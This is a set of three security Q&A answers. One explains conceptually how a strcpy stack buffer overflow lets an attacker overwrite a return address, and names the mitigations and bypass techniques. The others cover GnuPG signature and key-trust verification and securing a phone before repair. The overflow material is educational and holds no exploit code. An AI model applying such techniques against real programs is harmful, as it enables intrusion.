This is a primitive example that should be sufficient to demonstrate the issue. Suppose the str argument points to a NULL-terminated string longer than the 10 chars allocated for the variable it is being copied into. What will happen? strcpy() will blindly copy the data over the end of the buffer, overwriting whatever was there. But what exactly is there?

On x86, for example, the buf variable would be allocated on the stack. The stack is also used to save the return address when a CALL instruction is executed. So the (simplified) stack layout would look like this (addresses are increasing top to bottom):

...
buf[0..3]
buf[4..7]
buf[8..9]
return address
...

So, by supplying an overly long string via the str argument, we would be able to overwrite the return address from f(). If the attacker is able to control the string, then he can control where the control flow will go after f() returns. This may occur when parsing a specially crafted file, for example.

The next thing would be to direct the control to a JMP ESP instruction or similar in effect, causing code from the stack to be executed. This "direct" code execution is prevented by DEP.

Of course, the example above doesn't include bypassing any of modern mitigations (stack canaries, SafeSEH, DEP). This does not mean it is globally impossible, but it may be impossible in certain cases. Bypassing DEP usually involves Return-oriented programming -- instead of code itself, specially crafted data is placed on the stack, which utilises fragments of already existing functions in the process image (called gadgets) to execute code. This, in turn, is mitigated by ASLR, making the gadget addresses somewhat unpredictable. There are techniques of bypassing ASLR as well.

If you would like to get your hands on exploiting real-life programs, I would suggest corelanc0d3r's tutorials as a starting point.

EDIT: Replaced the offending part.


Verify GnuPG download with signature file - and it fails

OpenPGP Signatures vs. Checksums

Verifying an OpenPGP signature not only checks whether a file was not corrupted (for example during transmission) like a "normal" SHA or MD5 checksum would do, but also checks whether the signature was issued by whom it pretends to be from (in other words, if the signature on the file was issued by a specific key, which is also referenced in the signature).

Fetching the Right Key

You need to fetch this (public) key before being able to verify the signature. This can easily be achieved by running gpg --recv-keys DD5F693B (but be aware of OpenPGP key ID collisions and better configure using long key IDs instead).

Trust

Having fetched the key, you will get an output similar to this one:

gpg: assuming signed data in `enigmail-1.8-tb+sm.xpi'
gpg: Signature made Tue Mar 17 13:31:23 2015 CET
gpg:                using RSA key 0xDB1187B9DD5F693B
gpg: Good signature from "Patrick Brunschwig <patrick@enigmail.net>"
gpg:                 aka "Patrick Brunschwig <patrick@brunschwig.net>"
gpg:                 aka "[jpeg image of size 13251]"
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 4F9F 89F5 505A C1D1 A260  631C DB11 87B9 DD5F 693B

Now you know that the key was really used to sign the file you downloaded ("Good signature from [...]"). Still, this key could have been issued by everybody! Just because you fetched a key from the key servers, there has been no verification by anybody on its contents yet.

Having the key will not suffice to be sure who (which person) really signed the file:

  WARNING: This key is not certified with a trusted signature! There is no indication that the signature belongs to the owner.

You also need to be able to verify the key to not only verify the file integrity (you already achieved that now), but also be sure whom it comes from. For example by meeting the issuer and asking him whether it's really his key, through the web of trust (or another way you consider reliable).

But this is another, long topic.


How to secure a smartphone left for repair?

Back it up and do a factory reset.

You should have a trustworthy backup in case your phone is lost anyway. Consider this as the same scenario as a loss, only cheaper and safer.

Your only other option is to accept the risk of the repair provider looking at your data.